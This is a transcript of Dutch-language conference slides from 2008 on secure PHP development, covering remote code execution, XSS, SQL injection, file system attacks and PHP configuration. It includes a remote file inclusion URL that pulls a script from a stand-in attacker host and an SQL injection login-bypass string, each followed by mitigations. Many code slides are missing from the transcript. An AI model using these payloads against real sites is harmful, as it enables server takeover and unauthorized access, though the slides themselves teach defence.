php secure application development robert van der linde
TRANSCRIPT
PHP Secure Application Development
Robert van der Linde Vianen, 22 april 2008
Wie ben ik
• Robert van der Linde
• 5 jaar ervaring met PHP
• Zend Certified Engineer
• Oprichter PaSS-PHP Kerngroep
PHP is veilig Ongetrainde ontwikkelaars niet
PHP & Secure application development
• PHP legt geen verplichtingen op aan ontwikkelaars
• PHP bevat krachtige componenten die ontwikkelaars kunnen gebruiken om veilige applicaties te ontwikkelen
Agenda: Owasp top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection • File system attacks • PHP Configuration
OWASP top 5: Remote Code Exectution
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
Remote code execution
• Uitvoeren van arbitraire code door een externe partij
• Hierdoor kan een kwaadwillend persoon eigen code uitvoeren op de server
Fout:
http://host.com/index.php?file=contact
Exploit
http://host.com/index.php?file=http%3A%2F%2F evil.hacker.org%2Fmyscript.txt
Myscript.txt.php:
Exploit
http://host.com/index.php?file=http%3A%2F%2F evil.hacker.org%2Fmyscript.txt
Myscript.txt.php:
Oplossing
http://host.com/index.php?file=contact
Remote code execution
• Voorkomen door: > Input validatie > Voorkomen van arbitraire includes door
switch() of in_array() > Allow_url_fopen: Off > Vermijden van eval() > Whitelisting, geen blacklisting
OWASP top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
Cross Site Scripting (XSS)
• Een kwaadwillend script wordt terug gegeven in de HTML van een vertrouwde site, waardoor het wordt uitgevoerd
• Dit script kan gebruikt worden om gevoelige gegevens te verkrijgen
Voorbeeld
• MySpace • Een gebruiker plaatst een ajax call
op zijn profiel • Deze call voegt de gebruiker toe
als vriend van de huidige bezoeker • Deze call kopieert bovendien deze
code in het profiel van de huidige gebruiker
Fout
http://host.com/gb/addmessage.php
Exploit
• Door slechte of geen input validatie de volgende code opslaan en tonen aan een bezoeker
Oplossing
http://host.com/gb/addmessage.php
Cross Site Scripting
• Voorkomen door: > Alle variabelen initialiseren > Specifieke globals gebruiken zoals
$_POST / $_GET. Geen $_REQUEST > Register_globals UIT! > Input valideren op type, lengte & syntax > Whitelisting, geen blacklisting
OWASP top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
SQL Injection
• Door de client aangeleverde data wordt verwerkt door de interpreter die de code ziet als een een SQL query
• Hierdoor kan een aanvaller toegang krijgen tot gevoelige informatie
Fout
http://host.com/admin/login.php
Exploit
• Aanvaller post: > USER: admin
PASS: test’ OR ‘a’=‘a
• Resulterende query: > SELECT * FROM USERS WHERE username=‘admin’ AND pass=‘test’ OR ‘a’=‘a’
Oplossing
SQL Injection
• Voorkomen door: > PDO’s prepared statements > mysql_real_escape_string() > Input checking op type, lengte & syntax > Error handling
OWASP top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
File system attacks
• Door onder andere slecht afgestelde bestandpermissies kunnen PHP scripts toegang krijgen tot gevoelige informatie
Exploit
• Bijvoorbeeld: > Gebruik maken van een shared host > Bestandspermissies en gebruikers/
groepen zijn voor iedere klant hetzelfde > Een kwaadwillende klant kan via het file
system gegevens van andere klanten lezen & bewerken.
File system attacks
• Voorkomen door: > Permissies op de server correct in stellen > open_basedir: On > Geuploade bestanden niet toegankelijk
maken > Validatie op user input!
OWASP top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
PHP Configuration
• Door slechte configuratie kunnen: > Aanvallers met minder moeite
beveiligingsgaten uitbuiten > Aanvallers meer schade aanrichten
• Standaard is PHP open geconfigureerd
PHP Configuration
• Configuratie opties: > register_globals: Off > allow_url_fopen: Off > magic_quotes_gpc: Off > magic_quotes_runtime: Off > safe_mode: On* > open_basedir: On*
*mits goed geconfigureerd
Overige kwetsbaarheden
• Hidden fields > Kunnen client side makkelijk bekeken
worden
• Client side validatie > Kan simpel omzeild worden
Samenvattend
• Veel exploits komen voor door vertrouwen in een bezoeker • Bezoekers zijn per definitie niet te
vertrouwen • Denk als een aanvaller tijdens het
bouwen • Whitelisting vs blacklisting • PHP Security is een samenwerking
tussen programmeurs en systeembeheer
Afsluiting
• Referenties: > www.owasp.org
OWASP Top Ten OWASP PHP Top 5
• Contact: [email protected]
• Boeken:
Essential PHP security Chris Shiflett
php|architect’s Guide to PHP Security
Ilia Alshanetsky